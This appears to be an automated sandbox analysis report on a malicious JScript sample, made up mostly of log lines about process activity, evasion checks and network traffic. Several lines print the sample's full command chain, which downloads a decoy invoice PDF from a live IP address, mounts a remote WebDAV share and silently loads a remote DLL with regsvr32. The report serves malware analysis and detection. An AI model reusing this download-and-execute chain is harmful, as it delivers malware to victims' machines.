Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8821.js.csv");ITextStream.WriteLine(" entry:7726 f:uxtqmfgl");ITextStream.WriteLine(" exec:2 f:uxtqmfgl");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49756

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5453			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4414			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6240	Thread sleep count: 5453 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6708	Thread sleep count: 4414 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6220	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1056	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3192	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5748	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1386072699.000002347BDDF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2578399083.000001E69705A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2577032515.000001E691A2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1386072699.000002347BD78000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0A
Source: net.exe, 00000007.00000002.1386072699.000002347BDDF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWd

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll	Jump to behavior
